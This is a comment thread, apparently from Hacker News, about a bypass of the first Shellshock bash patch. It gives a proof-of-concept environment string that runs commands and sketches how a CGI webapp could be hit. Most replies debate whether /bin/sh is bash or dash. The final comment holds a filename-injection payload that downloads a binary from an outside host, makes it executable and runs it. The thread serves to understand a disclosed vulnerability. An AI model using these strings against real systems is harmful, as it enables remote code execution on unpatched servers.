5 ms·
With the patched bash, if you run env X='() { (a)=>\' sh -c "echo date" This is equivalent to running date >echo That is, you can put something in t
by jimrandomh 12y ago
With the patched bash, if you run
env X='() { (a)=>\' sh -c "echo date"
This is equivalent to running
date >echo
That is, you can put something in the environment which causes it to drop the first token, run the result as a command, and redirect the result to the dropped first token.
An example of a context where this would be exploitable, is a CGI webapp which accepts an uploaded zip file, stores it in a FAT filesystem, and and runs system("unzip /path/to/file"). Then putting a corrupt string in a header would cause the file to be executed, rather than unzipped.
- maximumoverload 12y agoHm. On one hand, this is pretty specific and not "run into the woods" dangerous. On the other hand, it's also not that unrealistic. Also, I am kind of afraid there will be more stuff lurking in there.
- dons 12y agoIt's almost like the shell was designed to execute arbitrary commands!
- sjy 12y agoThis assumes that system() is calling bash, but it usually calls /bin/sh, which is often linked to something other than bash (for example, dash is used on recent Ubuntu and Debian installs).
- INTPenis 12y agoYes but fixing that is a simple matter of replacing sh with /bin/bash.
- sjy 12y agoYou can only do that if you already have shell access (in which case the vulnerability gives you nothing). The remote exploit works because untrusted users can put code into an environment variable, but the target needs to create a new bash to execute the code.
- pwg 12y agoNot always, this is on Slackware 14.1: $ ls -l /bin/sh lrwxrwxrwx 1 _ _ 4 Apr 3 18:13 /bin/sh -> bash*
- Wilya 12y agoAll my Ubuntu 14.04 systems have /bin/sh symlinked to bash, not dash. I'm seeing articles on the net about Ubuntu switching to dash, but as far as I can tell, it either was reverted, or never happened.
- sophacles 12y agoI spun up an EC2 ubuntu 14.04 instance a few minutes ago - a quick check shows sh -> dash. Are your systems fresh installs or dist-upgrades from older systems? I wonder if there's a difference there somehow. Or perhaps your puppet/chef/etc rules are changing to bash?
- ims 12y agoThat's weird: $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ ls -l /bin/sh lrwxrwxrwx 1 root root 4 Feb 19 2014 /bin/sh -> dash
- Wilya 12y agoHum. Strange. I just tested with clean Ubuntu EC2 instances, and they are indeed symlinking /bin/sh to dash. Either I have a part of my standard stack that reverts it to bash (but I have no idea what could be doing that), or it could be my provider (OVH) doing that by default when they install Ubuntu. Oh well, sorry for the noise.
- cookiecaper 12y agoUbuntu symlinks /bin/sh to /bin/dash by default as of some ancient version. This is pretty annoying and I often end up manually undoing it and linking it to /bin/bash when a script fails in spectacular ways (dash doesn't support some bash-specific niceties). It's merely a fortunate accident for Ubuntu that this type of bug was discovered in bash, not dash.
- pbhjpbhj 12y agoSo those shell scripts use bashisms but don't use #!/bin/bash and instead have #!/bin/sh ?
- mziulu 12y agoJust as an aside - is there a particular reason you specify the type of the filesystem? Is there something specific to FAT that might make this exploit viable? I'm thinking permissions, but I'm not sure.
- scintill76 12y agoI think it's that all files have mode 0777, i.e. executable by default. I think it can be changed with mount options though.
- mziulu 12y agoThanks a lot, I was discussing this with a friend and we reached this conclusion too.
- colanderman 12y agoYou don't even need FAT if the CGI script doesn't properly escape spaces in filenames. e.g.: env X='() { (a)=>\' sh -c "unzip wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax" (the "filename" here being "wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax")